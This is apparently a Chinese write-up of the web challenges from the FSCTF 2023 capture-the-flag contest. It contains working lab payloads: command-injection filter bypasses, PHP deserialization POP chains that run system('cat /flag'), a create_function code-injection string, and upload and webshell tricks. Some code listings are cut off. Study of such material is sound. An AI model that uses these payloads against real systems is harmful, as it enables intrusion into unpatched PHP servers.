FSCTF 2023-WEB部分wp

目录

源码!启动!  

webshell是啥捏

细狗2.0

Hello,you

EZ_eval

ez_php1

巴巴托斯! 

ez_php2

寻找蛛丝马迹

CanCanNeed

签到plus

是兄弟,就来传你の! 


源码!启动!  

这里打开开发人员工具,查看源代码

FSCTF 2023-WEB部分wp_第1张图片

webshell是啥捏

FSCTF 2023-WEB部分wp_第2张图片

前面表情包解释为passthru 

passthru — 执行外部程序并且显示原始输出

说明

passthru(string $command, int &$result_code = null): ?false

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

 这里就可以直接ls查看了

FSCTF 2023-WEB部分wp_第3张图片

FSCTF 2023-WEB部分wp_第4张图片

细狗2.0

FSCTF 2023-WEB部分wp_第5张图片

 过滤了空格

127.0.0.1;ls${IFS}$9/

127.0.0.1;ca\t${IFS}$9/f*

Hello,you

127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

FSCTF 2023-WEB部分wp_第6张图片

EZ_eval

 源代码:

". $word);
}else{
    highlight_file(__FILE__);
}

这里过滤了 cat、tac、tail、more、head、nl、flag、less 和空格,并且删除?

在 eval 中加入了 php 闭合符就说明前面的 eval 被闭合已经不能用了

这道题既然过滤了问号那么就不能使用、和

那么就还剩一个

其中关于读取命令可以使用 ta\c 或者 ta""c 来绕过过滤 空格用%09 flag 用通配符

最终 payload 如下

?word=system('ta\c%09/f*');

ez_php1

FSCTF 2023-WEB部分wp_第7张图片

访问L0vey0U.php

FSCTF 2023-WEB部分wp_第8张图片

FSCTF 2023-WEB部分wp_第9张图片 访问P0int.php

源代码:

a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
@unserialize($_POST['data']);

?> 

这里直接使用引用输出a即可

payload:

a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);


?> 
data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;} 

FSCTF 2023-WEB部分wp_第10张图片

FSCTF 2023-WEB部分wp_第11张图片

巴巴托斯! 

这里提示了FSCTF Brower

修改User-Agent

FSCTF 2023-WEB部分wp_第12张图片 Referer:127.0.0.1

FSCTF 2023-WEB部分wp_第13张图片

直接伪协议

FSCTF 2023-WEB部分wp_第14张图片 FSCTF 2023-WEB部分wp_第15张图片

ez_php2

源代码:

 ending);
    }
    public function __call($name, $arg)
    {
        foreach ($arg as $key =>$value)
        {

            if($arg[0]['POC']=="1111")
            {
                echo "1";
                $this->cl->var1 = "system";
            }
        }
    }
}


class Poc{
    public $payload;

    public $fun;

    public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod)
    {
        echo "Have you genuinely accomplished what you set out to do?";
        file_get_contents($paylaod);
    }
}

class Er{
    public $symbol;
    public $Flag;

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {
        $value($this->Flag);
    }


}

class Ha{
    public $start;
    public $start1;
    public $start2;
    public function __construct()
    {
        echo $this->start1."__construct"."
"; } public function __destruct() { if($this->start2==="11111") { $this->start1->Love($this->start); echo "You are Good!"; } } } if(isset($_GET['Ha_rde_r'])) { unserialize($_GET['Ha_rde_r']); } else{ die("You are Silly goose!"); } ?>

payload:

start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>
?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:4:"ls /";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

FSCTF 2023-WEB部分wp_第16张图片

把Flag的值改为cat  /flag

?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

FSCTF 2023-WEB部分wp_第17张图片 

寻找蛛丝马迹

FSCTF 2023-WEB部分wp_第18张图片

FSCTF 2023-WEB部分wp_第19张图片 FSCTF 2023-WEB部分wp_第20张图片

这里用火狐修复文字编码即可 

FSCTF 2023-WEB部分wp_第21张图片 和苹果有点关系联想到.DS_store

FSCTF 2023-WEB部分wp_第22张图片 

 

payload:

FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!}

CanCanNeed

源代码:

param1;
        $b=$this->param2;
        if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { 
            die('this param is error!'); 
        } else { 
            $a('', $b); 
        }
    }
    
}
if (!isset($_GET['file'])){    
    show_source('index.php');
    echo "Hi!Welcome to FSCTF2023!";
  }
  else{ 
    $file=base64_decode($_GET['file']); 
    unserialize($file); }
?>

分析源码,对传入的 file 参数 base64 解码后反序列化,__destruct 函数中出现了 $a(‘’, $b); ,且 $a 和 $b 可通过 $param1 和 $param2 进行控制。
再观察正则表达式,发现没有过滤 system 和中括号,所以可以使用 system 执行 shell 命令,获取 flag。
所以将 $param1 设置为 create_function ,$param2 设置为 system($_GET[1])

payload:

param1;
        $b = $this->param2;
        if (preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
            die('this param is error!');
        } else {
            $a('', $b);
        }
    }
}

$n = new Noteasy();
echo(base64_encode(serialize($n)));
?file=Tzo3OiJOb3RlYXN5IjoyOntzOjk6IgAqAHBhcmFtMSI7czoxNToiY3JlYXRlX2Z1bmN0aW9uIjtzOjk6IgAqAHBhcmFtMiI7czoyMjoifTtzeXN0ZW0oJF9QT1NUWzFdKTsvLyI7fQ==

 POST传参

1=ls /
1=cat /f*

FSCTF 2023-WEB部分wp_第23张图片

FSCTF 2023-WEB部分wp_第24张图片

签到plus

打比赛时有提示扫一下

那我们就扫一下下

FSCTF 2023-WEB部分wp_第25张图片

 中国人不骗中国人

访问一下

FSCTF 2023-WEB部分wp_第26张图片

这个flag是假的,我收回上面说的话

看了一下提示,发现是

php7.4.21的文件泄露

PHP<=7.4.21 Development Server源码泄露漏洞_这周末在做梦的博客-CSDN博客

抓包一下修改看看

FSCTF 2023-WEB部分wp_第27张图片

copy to file

HTTP/0.9 200 OK
Host: node4.anna.nssctf.cn:28201
Date: Sun, 29 Oct 2023 08:53:09 GMT
Connection: close
Content-Length: 443

payload:

?=ls /

FSCTF 2023-WEB部分wp_第28张图片

?=cat /f*

FSCTF 2023-WEB部分wp_第29张图片

是兄弟,就来传你の! 

FSCTF 2023-WEB部分wp_第30张图片

先传几个试试,发现pht没有被过滤 

FSCTF 2023-WEB部分wp_第31张图片

 但又限制了长度

 看别的师傅的wp,新的思路

利用BM头和php中的反引号直接读取flag。

BM

成功 

FSCTF 2023-WEB部分wp_第32张图片

 

你可能感兴趣的:(web安全,php)